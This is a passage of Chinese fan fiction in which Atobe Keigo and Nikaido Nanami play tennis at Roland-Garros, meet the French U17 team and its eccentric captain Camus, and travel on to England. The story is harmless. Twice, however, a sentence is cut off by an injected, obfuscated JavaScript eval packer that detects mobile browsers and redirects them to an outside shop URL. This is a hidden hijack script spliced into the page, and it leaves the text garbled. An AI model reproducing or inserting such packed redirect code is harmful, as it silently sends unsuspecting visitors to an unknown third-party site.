只是,优秀与优秀之间,似乎也存在着天差地别......譬如她,和他。 如果不是因为网球,如果不是因为这个故事,他们之间,理应毫无交集。 他为什么会喜欢上她呢? 她兀自沉思着,身旁少年的双眸微微一沉。 迹部景吾是何许人,她查价格的动作也好,身边少女在惊诧后稍有些消沉下去的情绪也罢,早已被他全无遗漏地捕捉到了,他的心下紧了紧。 冰帝的帝王,迹部家的继承人,居然也有了怕的事。他怕她死,怕她因为他们之间的家境差距畏难后退。 唯独她不爱他这件事,他从不怕,他有自信让她爱上他。 她仍沉思着,管家与侍者们都已经离去,他站在她的面前,双手箍住了她的肩膀,紧盯着她深紫色的瞳孔。 “二阶堂,别想那些没用的事。” 七海愣愣地看着他变得有些严肃的神情。 “你只管老老实实地被本大爷喜欢着就是了。” “爱不是等价交换,L''amour est l''amour。” 后半句法语很简单,她听懂了。 L''amour est l''amour。 爱就是爱。 她突然感到眼底发热,她分不清此刻的情绪是什么,那太复杂了,她理不清也不敢理清。 她有点想逃,可是他仍紧箍着她,于是他就这么看着她的瞳孔闪烁着,眼眶里一点点地蓄满了泪光,她强忍着没落下泪来。 迹部景吾在心里重重地叹了口气,紧跟着替换上的情绪是自信。 起码,他说这样的话她不是全无反应,即使不爱至少也有触动,那么,他就还有机会,还有可乘之机。这正是他擅长的事,抓住对方的弱点发起攻势。 现在,他已经看透了她的弱点。她不喜欢被逼迫,有时会选择逃避,护短又心软,抗拒不了温柔,他可以慢慢来。 少年松开了紧箍着她的手,不由分说地拉着她到窗边坐下,边吃着下午茶的甜点边切入了他们法国之行的正题。 “今天就去法国职业网球协会?”迹部景吾随意问了一句,端起红茶细品,还是不如他自己珍藏的茶叶。 一旦回归正事,七海马上收起了她的私人情绪,拿出手机敲字。 【今天已经是下午了,就不去了】 【据三船教练说,法国U17队目前并没有教练,而是一个叫加缪的高三选手在带队,还被称为网球界的革命家什么的,说是能听到网球的声音。】 “革命家?”迹部景吾扬了扬眉,半信半疑。 七海将过分精致小巧的梨块塞进嘴里嚼了两下咽下,托着腮望向窗外的旺多姆广场。广场上矗立着的青铜石柱,据说是法国大革命时期,拿破仑把缴获的敌军大炮融化之后重新浇筑的。 革命家......能有多革新呢。 总之,明天她就能知道了,法国职业网球协会的地址在塞纳河的另一边,倒是十分之近,晚上要是出门去说不定还会偶遇那群选手。 还有另一件事......她刚才被他的话给说傻了,完全忘了问。 【那个,景吾,所以晚上我们俩都睡这里吗?】 她尽量让自己的遣词造句看起来比较随意。 “不然呢,啊恩?”他有些莫名其妙,一人睡一间她也不行? 她随意不起来了,这里看起来只有一张床......七海陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912468|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了几秒钟的呆滞,咽了口口水,再次小心翼翼地提问: 【那你睡哪里?】 他应该不会让她睡沙发,他自己睡床吧! 迹部景吾面色不变,心下恍然大悟。这个笨蛋,该不会以为这里只有一张床吧。壁炉边上的门后面还有套间,只是,她看起来并不知情。 “本大爷当然是睡床上了。” 桌对面少年过分理直气壮的发言让七海目瞪口呆,那她睡哪里......无论是让她这个大病初愈的病号睡沙发,还是让她......都很过分啊! 迹部景吾饶有兴致地看着她的表情从惊讶过渡到生气再到羞恼,这个不华丽的女人,想的什么事情在脸上都展现得一清二楚。 【那我呢?】七海愤愤然把屏幕按在了他眼前。 他想了想,还是决定不逗她了:“壁炉边上还有一间房,二阶堂,你想哪儿去了。”他无声地轻笑了一下。 ...... 七海咬牙切齿了一阵后败下阵来。罢了,还是干点正事吧。既然都来了法国,那么当然不能错过的就是——红土赛场! 两小时后。 【景吾,快看,不愧是网球的发源地!】 七海拿着屏幕在迹部景吾面前晃了半响,她很想大声喊叫,可惜她的嗓子不允许。 此时此刻,他们正站在罗兰·加洛斯网球场边,空旷的球场上铺满了红土,看台席位空无一人。 她并没有任何寂寥感,只有兴奋与雀跃,嘴角不自觉地上扬着。 七海第一次如此感谢迹部财团的权势与钞能力,居然一通电话就让工作人员为平时没有赛事不铺设红土的赛场铺上了红土,满足了她的一己私欲。 她的心潮澎湃,几乎要落泪了。 上辈子没有打过几年网球就急病住院,赛事只能通过手机那一方小小的屏幕看到,可是这辈子,她居然能够站在这片法网比赛的土壤上......这可是法网啊!她梦寐以求,魂牵梦绕的地方。 她不知道的是,未来,她和他们还会有很多次机会站在这片赛场上,被欢呼、鲜花与掌声包围。 她也确实落泪了。 【景吾,谢谢你。】她微笑着将屏幕递了过去。 谢谢你,圆了我遥不可及的梦。 谢谢你,弥补了我上段人生的遗憾。 少年凝望着她泪眼婆娑道谢的模样,心中的柔软像是凹下去了一块。 他说不上来那一刹那的感觉,只觉得有什么拽着他坠落,从此,无法逃脱。 收回手机,她垂着头又敲了会儿字。【景吾,我们来打比赛吧】 专门为他们铺设好的红土,不用来打比赛,岂不是暴殄天物!更何况,出门前他们特意换上了运动装带上了各自的网球包。 “乐意之至。”少年笑得张扬。 没有裁判,没有观众,不在乎成绩,不在乎得分; 在经历过无数场经典的辉煌的或是天才现世或是英雄落幕的赛事的法网红土赛场上,两道身影肆意地在球场上跑动着,挥动着手中的球拍,空气中只余小球与球拍相击的砰砰声。 就好像......他们就好像回到了在冰帝网球场再次相遇的那一天。 那一天,她成功看破并回击了他的唐怀瑟发球。 那一天,他们打了一场酣畅淋漓的比赛。 今天亦如是。 面对他,她不需要成神,她只需要做一个热爱网球的人,享受每一次挥拍,每一次测算,每一次对全场的洞察,每一次瞄准底线就像上膛的子弹瞄准红心发射那般的快意。他亦如是。 夕阳西下,冬日的寒风卷起地面红土的微粒,汗水洒落的赛场上,两道身影喘着气,望着彼此,没有疲惫,只有无尽的痛快。 迹部景吾并没有瞄准她的弱点打击,反而满心满眼都是她挥拍时优美的弧线,滑步时的潇洒与果决,扣杀时的凌厉,打小球时的狡黠。 他感觉不到四肢和鞋子触碰场地发出的轻微摩擦声,却仿佛,那颗黄色小球的轨迹和交叉的运动路线全部鲜活地涌动起来,慢慢变得清晰,如同头顶天空中的日光。 可这样的一场比赛依然让他感到无比畅快,甚至隐隐约约产生了一种极其特殊的感觉。 似乎,在某几个瞬间,他看到了过去,也看到了......由过去通往未来的路。 那是他站在目黑未开发的荒地边曾对她说过的——“属于我们的未来”。 “哇,在楼上看到的果然是真的!” “罗兰·加洛斯怎么今天铺上了红土?” “喂,你们两个是什么人?” 场外突然传来了几声呼喝,罗兰·加洛斯球场在平时也对外开放,有其他人进来倒是不奇怪,七海与迹部转过身看向不远处的来人。 这几张脸,她的数据库里似乎有......是法国队的选手! 只是另外两个人也就罢了,最后那个人......这个球场是允许人骑马进来的吗? 98.第 98 章 “喂,我在问你们呢!”埃德加·德拉克洛瓦语气不善。 “该问这句话的是本大爷才是吧,啊恩?”迹部景吾皱眉。 眼前这三个人,语气不善的这位身高奇高,一头冲天银发,身边的少年看着和越前龙马差不多高,金发蓝瞳戴着一副圆框眼镜,而最后缓缓骑着马过来的少年,表情十足的傲慢。 【景吾,这三个人是法国队的选手】 【那个白头发叫埃德加·德拉克罗瓦,矮个子是他的双打搭档乔纳尔,骑马的叫普朗斯,据说是有王室血统】 七海的打字速度已经锻炼得奇快。 迹部景吾扫了一眼屏幕了然道:“呵,原来是法国队的人。” 乔纳尔兴致勃勃:“你们两个,刚才我在楼上看到了你们的比赛,打得还不错,喂,要不要来打场双打比赛。” 听出双打这两个字,七海赶紧埋头打字。 【不要和他们打双打,我不会打啊!】她一边出示屏幕,一边疯狂摇头。 埃德加瞥见这一幕嗤笑了一声:“喂,你旁边那个女人该不会是个哑巴吧。” 七海的额头上刹那间出现了一个具现化的井字。居然敢说她是哑巴......她要是今天不赢他们一把,她就不叫二阶堂七海!她臭着脸埋头疯狂敲字,接着猛地把手机往少年眼前一晃。 【景吾,我改变主意了,和他们打。我开手冢魅影,你用冰之世界,我们狠狠羞辱他们一顿】 迹部景吾虽然也火大着,却没有直接答应:“你的病还没好全,又刚打完一局。”最后一句话他并没有说完,不过,七海听出了他的言下之意。 【就和他们打一局,我不会有事的!求你了,景吾】今日事今日毕,今天的仇她一定要当场报! 看到屏幕上最后一句话的迹部景吾愣了愣,这似乎是在冲他......撒娇? 他仅仅只花了几秒钟时间就败下阵来,反正有任何事,他都会在她身边。这么一想,他点了点头,随即正身看向已经走近了的一高一矮两人,语气尽显傲慢。 “可以,我们就陪你们打一局。你,那边那个灰色大葱头,输了给她道歉,啊恩?” 被冠以大葱头称号的埃德加一时间怒不可遏,五官揪成了一团,显得有些狰狞。“不知天高地厚的亚洲人,就让你们尝尝法国网球的厉害。乔纳尔,上场。” 埃德加拽住乔纳尔的头发拖着他就往场内走去,矮小少年发出了几声痛呼却毫不抵抗,这个场面有些奇异,七海眨了眨眼。 ...... “这场比赛,是我们赢了,啊嗯?” 黑夜吞噬了夕阳,皎洁的月光打在罗兰·加洛斯的红土赛场上,仿佛铺上了一层银色的轻纱,越发显得这片红土之地庄严圣洁。 一局终了,埃德加和脸上已经被涂了好几层颜料的乔纳尔震惊地望着对场的两人。那个哑巴,明明是个女生,身周的紫红色气旋却不可小觑,居然让他们的球全部都出界了。 似乎是某种领域,即使他们收集了足够的数据,无法打破就是无法打破。 而另一位少年,几乎是在羞辱他们,女生放球给他打,他直接看穿了他们的破绽打到了两人之间的死角。 “喂,大葱头,向她道歉。”迹部景吾举起球拍直指对方。 埃德加一改之前傲慢的态度,走到七海面前一副要行吻手礼的样子,吓得她躲到了迹部景吾的身侧。埃德加倒也不生气,直言:“抱歉了,美丽的小姐,或许你的失声是上天嫉妒你的天赋与美貌。” 过快的变脸速度令场上余下的几个人都呆了呆。 七海横眉冷对,再也抑制不住自己的愤怒亦或无奈亦或吐槽的欲望,终于清清嗓子开了尊口: “本小姐才不是哑巴!” 她惊喜地发现自己的嗓子好得七七八八了。 -------------------- 车窗外,巴黎的绚丽夜景快速略过,夜色中矗立的埃菲尔铁塔在灯光的映照下辉煌醒目,塞纳河两岸的灯火与河水的波纹交织,街道上满载着浓厚而欢快的圣诞氛围,只不过,这些美景某个人都看不到了。 这个笨蛋,还说自己不会有事......迹部景吾眼睁睁看着少女上了车后,没坐多久就打起哈欠,眼皮上下打架,嘴上说着“景吾,我好像有点累。”同时闭上了眼,身子连着头就往车窗倒去。 还好他反应快,赶在她撞到玻璃窗前将她的头揽过来靠在他的肩头。 她还是受累了,似乎睡得极沉,呼吸声轻缓,淡粉色的唇瓣微张着,纤长的睫毛在眼睑下投下淡淡的阴影。 她的眉头是舒展的,不再似发烧时紧蹙,双唇是莹润饱满的,不再似发烧时那般干枯发白...... 他观察得太久太过仔细,直到轿车停靠在酒店门口,司机为他打开了车门。 迹部景吾决定不把她叫醒,轻柔地将她的头偏正,从车后绕到了她的座位旁,双臂揽起她的肩与屈膝处,打横抱一路将她抱回了房间。 ...... 七海醒来了,她想无声地尖叫。打了两场比赛,她还没洗澡,迹部景吾这个人怎么就把她放床上了啊! 唉,也不能怪他,还是得怪自己太弱了,自从这个世界的命运之轮开始旋转,她就三天两头生病受伤吐血昏倒,累得像停不下来的陀螺,现在还能生龙活虎只能说明她的生命力简直比蟑螂还顽强。 等等,那道声音赋予她的体能和优于他人的恢复速度,该不会就是为了更好地压榨她让她不至于把自己给累死吧...... 洗完澡换上酒店柔软的浴袍,七海推开房门,迹部景吾正背对着她穿着浴袍坐在沙发上慢条斯理地喝着香槟。 茶几上摆着的三部手机吸引了她的注意,平时除了见他打电话极少看到他用手机,没想到有白红绿三部,该说不愧是迹部家的继承人吗,像她这种普通人就只有一部手机了。 迹部景吾早听见了身后的动静,他转过头瞥了她一眼。 “二阶堂,醒了。”他的食指不紧不慢地轻点着太阳穴,看起来有些疲惫。 “啊......嗯。景吾,你的手机好多。”她走到了茶几边的另一张沙发上坐下,有一搭没一搭地聊着。 大晚上两个人在一个房间总归是有点尴尬,只是她已经走出来了,再默默走回房间未免太不自然。 迹部景吾居然十分有耐心地点着那几个手机给她介绍起来: “本大爷家里还有七部,只不过这三部最常用。这一部是生意场上用的,这一部是联系家人的,红色的那一部是私人的。” “不愧是你,很辛苦啊。”七海诚恳评价道。 “二阶堂,你不好奇自己在哪部手机的联系人上吗,啊恩?”少年勾起了唇角,眼神轻佻,酒杯里的香槟在水晶灯的照耀下流转着淡黄的光泽。 “那应该是私人的吧。”她回答得很干脆,毕竟他们之间朋友关系总是有的。 迹部景吾将酒杯放回茶几上,起身走到她面前,一手撑着沙发扶手,俯视着她: “每一部里都有你。” 他的脸离她很近,吐出来的话也很清晰,七海的大脑陷入了一片空白,什么叫每一部里都有她? 生意场上有她,她理解,他们是合作伙伴;私人手机有她,她不意外;可是为什么,家人......他,他该不会是那个意思吧。 “二阶堂,想什么呢,啊恩?” “本大爷把你放到家人的通讯录里,只是怕接不到你的电话,一个人不知道死在哪儿了。”他轻笑着调侃道。 “噢......”但即使是这样她还是很感谢啦。 “谢谢你,景吾。”毕竟那天如果没有他,她可能就真的迷迷糊糊因为高烧身死异乡了。 她的道谢真诚,眼神清澈找不到任何缱绻暧昧,然而少年的思绪已然飞远了。 她现在穿着和他一样的浅卡其色浴袍,发丝上淡淡的洗发露幽香狡猾地钻进他的鼻孔里,最要命的是,俯视的视角,他甚至能看到她纤长锁骨下的一点轮廓。 她什么也没干,只是坐在那里他就...... 坐在沙发上的七海一脸茫然,她只看到他的表情突然变得有些微妙,眉头皱了皱,然后便直起身子说要回房间睡觉。 七海掏出手机定了个闹钟,不忘嘱咐他:“好,那我也准备睡了。明早去法国职网协会,别忘了哦。” “本大爷怎么可能赖床。”背对着她,少年摆了摆手示意,随即大步走回了房间。 不是她的错觉,他的语气有点不耐烦有点着急。 这是怎么了?她没说什么话招惹他吧。七海带着满腹狐疑回到了房间躺下,被松软的鹅绒被包裹着,她再次陷入了沉睡。 睡着前,她迷迷糊糊意识到,她只有他的一个号码,所以,即使他的三个手机都有她的电话,也只能是他单方面打给她,而不是她打给他。 所以,怕接不到她的电话什么的...... ------------------------- 翌日一早,两人吃了酒店配送到房间的早餐便出发前往法国职业网球协会。 今天或许要和法国队的人打比赛,七海换了一身白色的网球裙套装,外面套了一件黑底白字的棒球服,迹部景吾则穿着一身黑色的长风衣,内搭黑色针织衫和黑西裤。 不得不说,看起来她比较像运动员,他更像教练。 前台接待员:“两位,请问有预约吗?”是她十分熟悉的流程。 七海递出名片:“你好,我是U17日本代表队的教练二阶堂,旁边的是日本代表队的正选,Keigo Atobe,这是我的名片,我们是来法国职网协会交流学习的,你或许可以问一下法国队的队长加缪。” 是她已经说了好几次的话,只是每次陪在她身边的人都不一样就是了。 “好的,麻烦您稍等。” 接待员接过名片认真端详了数秒后拨通了内线电话,他们没等多久便被放行了。“您好,您现在可以上到三楼去了。” ...... “是你们?!”埃德加等法国正选们听加缪说有日本队的教练和正选要来交流学习,纷纷停下了手头的训练聚集到了三楼大厅,却没想到顺着旋转楼梯走上来的两人他们并不陌生。 “埃德加,你认识他们?”一头金色长卷发垂在左胸前,眼眶中镶着一对如海蓝宝般剔透的浅蓝色眼睛的少年诧异地问道。 “加缪,这两个人就是今早我说的,让罗兰加洛斯球场铺上红土,把我们打败的那两个人。”埃德加的表情严肃了几分。 紧接着,他的眼中闪过一丝惊异,他切换成了英文:“没想到你们原来是日本队的选手......不对,所以,日本队的教练,是你?美丽的小姐。”他的双眸被点亮。 七海平静地点了点头:“嗯,是我。我是日本队的教练,二阶堂,身旁这位是日本代表队选手迹部。” 不太想和这个轻浮的少年多说话,七海将视线移向刚才被喊作加缪的少年,默默地打量着。 和她之前搜集到的照片没什么区别,金发蓝眼长得倒是挺帅的,只是网球界的革命家?她没看出来这个人有任何特别之处...... 等等......这个人手上拿着的网球拍上怎么还挂着一个吊坠,看着像是,戒指?七海抽了抽嘴角,这位革命家果然透着几分古怪。 迹部景吾也在打量着这位“网球界的革命家”,他正欲开口,加缪突兀地插入了几人的对话: “二阶堂教练,你就是我一直在找的人!”刚才还十分平静的少年突然面色激动起来,说完嘴上的话,他又举起球拍,脸颊贴着拍面摩挲着,嘴里不知轻声呢喃着什么,一边频频点着头,甚至,还流出了眼泪?! 七海和迹部两人的神色难辨。 七海踮起脚凑到他的耳侧,小声吐槽:“景吾,你觉不觉得,法国队的人看起来都不太正常......” “本大爷同感。”迹部景吾的脸上难得出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924492|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以被称作无语的表情。 加缪和他的球拍的对话似乎告一段落,紧接着,他说出了一些虎狼之言: “二阶堂教练,我的妻子说,她很喜欢你,我相信,我的爱妻的直觉。” 七海的嘴角抽搐着:“加缪队长,你在说什么,我好像没听懂。” 加缪又扔出一个炸弹:“二阶堂教练,我以法国职网协会准会长的身份,想邀请你成为法国队的教练,请你务必接受!” 少年大踏步走到了她面前,不由分说地牵起她的手,浅浅吻了一下她的手背,微凉的唇瓣和她的手背皮肤接触的瞬间,七海起了一身鸡皮疙瘩,赶紧把手拔回。 迹部景吾没能来得及反应过来阻止,脸立时黑了:“加缪,你在做什么?” 加缪这才意识到自己的反应过于强烈,好像吓到了这位亚洲少女,毕竟亚洲那边比较传统,或许不太能接受吻手礼:“噢,真是抱歉,是我冒失了,让我来细细为你们说明吧。二阶堂教练,我们去休息室慢慢聊。” 七海心下警铃大作,马上回道:“可以,但我要求我的选手陪同。” 加缪笑着:“没问题,不如,大家都过来吧,这可是个天大的好消息。” ...... “原来是这样。”七海目瞪口呆。 坐在沙发对面的这位法国队队长刚才居然说,他听到他的爱妻——也就是他的球拍“说”,“她”一见到她就感到无比亲切,这种亲切感是之前任何选手身上都比拟不了的,甚至超过加缪本人。 这就证明了,她才是这个世界上最爱网球的人。 所以加缪决定让她来当法国队的教练,留在法国和他一起继续贯彻实施法国队“爱的网球革命运动”,让全世界打网球的人都能感受到自己与网球之间的爱,从而提升网球水平。 嗯嗯,倒是有几分道理......个屁啦! 关于亲切感,七海倒是不意外,虽然不清楚加缪所说的自己能听到网球的声音这话是真是假,但,那道声音确实告诉过她,她的网球亲和力是一等一的。 只是留在法国当法国队的教练,怎么想也是不可能的事,虽然七海确有部分赞同他们爱的革命中,提倡以爱感化而不是暴力打球的理念。 眼前的少年过分热情了,得想个他反驳不了的理由拒绝。 对了。 七海礼貌作答:“加缪,虽然我确实对你们的爱的革命很感兴趣,不过,法国队的教练应该有国籍要求吧,很抱歉,我是日本国籍。” 加缪微微一笑,仿佛早就预料到了她会如此回绝,他面露真诚地建议道:“二阶堂教练,只要您和我结婚就可以了,现在您年纪尚小,我们可以先订婚。” ...... ......?! 周围的空气仿佛凝固了,至少,二阶堂七海和迹部景吾周围的空气是这样的。而法国队的少年们,他们看起来居然是一副毫不在意的模样。 迹部景吾的表情堪称不爽到了极致,七海见他这幅模样还有什么不懂的,赶忙按住他的手拍了拍,生怕他做出什么有损日法职网友好关系的事。迹部被这两下肌肤接触给暂时安抚住了。 她磕磕巴巴地开口:“但是,加缪,你......你已经有妻子了啊不是吗!”七海在心中为自己的机敏点赞。 加缪轻抚了两下平放在双腿上的球拍,抬头笑答:“没有关系,我的妻子也可以是你的丈夫,她刚才已经答应了,他本就没有性别。” 七海彻底石化当场。 这是在做什么,他要两个人和一个球拍,3,3P?! 某人终于忍不住开口了:“加缪,她是本大爷喜欢的人,你还是放弃吧。” 七海的石化表层被这一记间接告白给击碎了,她侧过头愣愣地看着此刻正紧紧反握住自己手的少年,他的手,好烫。 “Keigo Atobe,其实我认识你。”加缪突然改用了法语,在这之前,为了让她完全听懂,他说的是英文。 迹部景吾挑了挑眉,有些意外,他用眼神示意他说下去。 金发少年漫不经心地点出了他的身份:“迹部财团的继承人,对吧。我之前偶然认识了你在英国的朋友,雷欧,他也在打网球。其实,我的本家也和你家的生意有所交集。” “你是你家的独子,唯一的继承人,我想,你大概不适合她。”他微笑着。 迹部景吾沉着脸:“适不适合本大爷说了算,只要我觉得适合就够了。至于你,像你这样花心轻佻的法国人才是真的不适合她。” 七海再次感受到了,原来只有英语好是不够的,她现在根本听不懂他们两人之间的加密通话,只能大概听懂什么她,你,适合,我的。另外就是,自己的手被他攥得越来越紧。 “加缪,我看你也不是真心想和她结婚,开这样的玩笑有意思吗,啊恩?”他的眉头越蹙越深。 加缪意外地瞟了少年身侧完全没厘清状况的七海一眼,沉吟了片刻。 迹部,你的喜欢似乎比我想象得还要深一些。 罢了,他没兴趣搞些多角恋,既然她已经有人这么坚定地在追了,他还是继续和他热爱的网球相伴吧。 “二阶堂教练,”他又切换回了英文,“之前是我冒进了,如果当教练不行的话,你觉得顾问如何呢?” 有一位名人曾说过,如果你想要开个窗,大家一定不允许。但是如果你主张拆掉屋顶,他们就会来调和,愿意开窗了。 因而,听到这样退而求其次要求的七海干脆利落地同意了:“只是顾问的话没问题。” 只不过,她是在玩什么收集游戏吗,这下,她真的把第一梯队的所有国家网球队的顾问都在有意无意间集齐了。 加缪的笑容如春风化雨:“那太好了,二阶堂教练,不,请问您的名字是?” “七海,二阶堂七海。” “七海,我们去签合同吧。”并不出乎她意料的自来熟法国人。 “景吾,我们走吧......景吾?!” 99.第 99 章 迹部景吾躺在床上,脸颊微微泛着不正常的红,他闭着眼,眉头微蹙,右手架在额头上,看起来居然勉强能算得上病弱,和平时张扬的模样相去甚远。 “迹部景吾,你自作自受,谁让你那天突然要亲我,肯定是被我传染了。”七海坐在床边絮絮叨叨着。 两小时前,她正打算喊上坐在身边紧攥着自己的手不放的他,一起陪她去签合同,却发现他的脸上泛起了不太正常的潮红。 联系到之前他滚烫的手,她一瞬间明白了——嘴上说着自己身体好得很不会生病的迹部景吾,他发烧了。 好在他的意识并未完全消散,七海赶忙叫了一辆车,在加缪的帮助下把他送回了酒店。 又幸好,自从德国那一场高烧,她和他们都多留了个心眼,这次来法国带上了上次没吃完的退烧药,正好给他用。 迹部景吾吃了退烧药假寐着,他自己十分清楚这场低烧的起因,并不是那天在沙发上吻了她,而是昨晚第二次洗了过久的冷水澡,至于洗冷水澡的原因...... 他是想过在她面前示弱,毕竟那两个人也都是因为伤病被她怜惜,只是绝不是现在这样的示弱,不过效果也不差就是了,她似乎以为他睡着了。 七海现在的心情十分复杂,说内疚是内疚,可是也有些气得牙痒,她可没有让他吻她!她继续絮叨着。 “这个房间好贵啊,我本来还想着明天就回德国去呢,反正顾问也当了,能不解封绝对主宰就不解封也挺好的,我也不想自己......” 解封绝对主宰会怎么样?她没把话说完,难道单纯是指之前的惩罚,还是还有其他她隐瞒的事。 “你的这场病可太贵了,一晚上就要四万欧,唉不过花的是你的钱我也不好说什么。” “还说自己身体好得很不会生病,还不是和我一样生病了。说起来还没有去格雷特那里复查,唉......要不是有斋藤做中间人,我估计已经被拉入黑名单了,德国真不是个人住的地方,看病麻烦得要死......” 格雷特是谁,复查什么?什么病?他发现她的德国之行似乎另有原因。 “迹部景吾。”她突然认真地喊了他的名字,他的心猛地一跳。 “你可是那个迹部景吾诶。” “你怎么......就喜欢上我了呢。”她的声音一点点地消沉下去。 “我现在欠你的可太多了,欠你一屁股人情债,欠你房租欠你各种钱,还欠你......情债。唉,还都还不清。”音量越来越小,到最后他几乎快听不清她在说什么。 他想他得说点什么了:“既然知道还不清,就陪在本大爷身边还债。”他的声音微哑,并不响,却把坐在床边的少女吓得够呛,她直接从床上弹了起来。 “景......景吾,你你,你没睡啊?” “你说的本大爷都听到了。”他仍旧闭着眼,低哑着声答道。 “现在坐过来,告诉我你来德国的真正目的,别让我自己去查。” 她面色一僵,少顷,才犹犹豫豫地挪回到床边,看着仍闭着眼的少年,磨磨蹭蹭地开口,把自己的病和教练组的要求大致地讲了一遍。 她不指望自己这点事真的能瞒得过他。 “二阶堂,你是笨蛋吗。”那天在机场,他应该把她抓痛了吧。 迹部景吾放缓了语速:“以后不要当骗子,本大爷现在一句话都不敢信你了,啊恩?” 本该是有点傲慢的话,可他现在的声音又轻又慢着,听起来反而有些脆弱,七海默默点了点头,随即想起来他闭着眼看不到,便轻轻地“嗯”了一声。 ---------------------------- 连着今明两日吃药休息后,冰帝的帝王很快回归了生龙活虎的状态。这两日,他貌似有些琢磨透了该如何在她面前示弱,总之,他狠狠地体验了一把被她悉心照顾的感觉。 第三天,七海看他好得七七八八了,便跑去法网协会大楼照例和法国U17青少年职网联盟签了五年合同,时间也和其他国家一样,从世界杯结束开始。 在加缪过分热情的邀请下,两人打了一场比赛,却没想到第一盘6:2结束他就认输并开始壁咚他的球拍,七海询问情况,加缪含着泪答曰: “我的妻子被二阶堂教练你打网球的身姿给深深吸引住了,我要挽回她,否则她就将离我而去了。” 少女满头黑线。 之后自然是完成了她该干的正事——观摩法国队的训练方式,收集选手数据发给平等院。 只是法国队的训练方式似乎也没有多少参考价值,因为他们的训练方式除了上午几小时的个人练习,大部分时间居然是跟着加缪学习网球美学,晚上还有与网球的爱语时间这样过分意识流的训练方式。 那两位随时随地摆pose,据说每天都有摄影广告拍摄的法国潮男特里斯坦和迪莫迪也属于七海无法理解的范畴。 不过他们人倒是不错,还邀请她一起拍照,可惜她是个动作废,最后他们无奈放弃了她这个扶不上墙的阿斗。 普朗斯,也就是在红土赛场比赛那天出现的骑马少年,他拥有王室血脉也就罢了,性格相处下来总觉得和小不点有点像,蛮拽的。 最让她震撼的是其中有一位忍者打扮的少年,他的网球招式名称都充满日式风情不说,他也如瑞士队的那个少年一般,对日本文化特别感兴趣。 因此他一直来找七海搭讪,并告诉了她一件惊人的事——他最喜欢的动画居然是火影忍者。 由于过分热爱,他脸上甚至还纹了两个鸣门卷的纹样,少年偷偷把忍者面罩摘下来给她看了一眼。 七海在那一瞬感受到了次元壁的破裂。 怎么评价呢,法国队是一支选手风格极其迥异的队伍。 事到如今,从德国到瑞士到美国到法国,她有些明白了,为什么当初他们如此轻易地就同意了对手国家的交流学习请求。 或许日本队过去惨淡的战绩让他们轻视是一方面原因,另一方面还是源于各个国家队的特质。 德国队是王者之队,正如立海大一般,完全不惧他人的观摩学习; 瑞士队则是源于他们得天独厚的地理位置,爬雪山的训练方法可不是能够随意模仿的; 美国队更不必说,每天都是自由训练时间,总而言之就是自由随性; 法国队,大概是对网球的大爱让他们选择包容,再加上他们革命性的爱之训练法,也确实无法被模仿; 西班牙队似乎很特殊,否则当初她选择西班牙队时,越前前辈不会是那样的表情,越前龙雅听到她成了西班牙队的顾问,还特地问了一句这件事也让她有些在意。 而她成为这几支队伍顾问的原因也堪称机缘巧合。 德国队大约是看上了她的潜力,瑞士队是请她救急培养教练,西班牙队是武士南次郎的邀请她不可能拒绝,法国队则是源于自己的特殊。 总之,她将这些强国选手最新的五维数据和技能特征还是实打实地记了下来,并告诉了平等院自己貌似已经摆平第一梯队所有国家的这个可怕事实。 嘛,西班牙的选手她还没有去会面就是了。 而平等院的回答是:【你挺能跑的】 ...... 完成了法国这边的任务,来到法国的第四天,他们终于踏上了“返程”的飞机。然而...... “英国?!”七海坐在迹部家的私人飞机上差点把嘴里的水喷出来,她理所当然认为他们要回德国去过圣诞。 “二阶堂,为了感谢你的照顾,本大爷就带你去我从小生活的地方英国看看。”少年坐在他对面,翘着二郎腿,满脸自得。 “也好。”她浅笑着,大脑中止不住自我吐槽。好家伙,德国瑞士英国法国,之后还要去西班牙,她干脆把冰岛芬兰丹麦之类的地方也去一圈算了。 不过去英国也不坏,她不抗拒接触新事物,英国职网队也是一支强队,如果有空也可以过去探探路。 还有,陪他在他童年的故土过圣诞,如果这样能算作一点点补偿的话...... “只是可惜了,难得来一次法国,那么多景点都还没逛过。”七海侧头,望着窗外越来越远的埃菲尔铁塔和塞纳河。 迹部景吾的声音柔和了几分:“是我的问题,以后我会再带你来一次。” 七海保持着侧头看窗外的姿势,她知道,她要是把头转回去会看到什么样的眼神,那是......她无法回报的眼神。 她在心里默默地说了一声对不起。 ---------------------- 飞机降落在比金山机场,又是一套熟悉的接送流程,只是这次,似乎去的并不是酒店而是......他们居然坐上了游艇,司机将他们送到了一处河边。 “景吾,这座城堡,该不会是你家吧......”她以为她已经免疫了,可是看到眼前甚至需要过吊桥才能到的林中城堡还是被惊呆了。 “很惊讶?这里之前被一群外人霸占了,不过后来已经解决了。” “这就是所谓的老虎不在家,猴子称大王吧。说起来,这里是英国,那岂不是King of Kingdom吗,哈哈。”七海突然想到了这一形容,笑得有几分促狭,少年闻言勾了勾唇,确实是“老虎不在家”。 巨大的雕花木门被推开,两人步入城堡内。 高高的穹顶下是有些陈旧剥落的墙壁,空气中弥漫着潮湿的泥土气息和些微的木头味。 内部似乎已经被打扫过了,阳光透过彩窗在地毯上投射下七彩的影子,漂浮的粉尘并没有她想象的那样多。 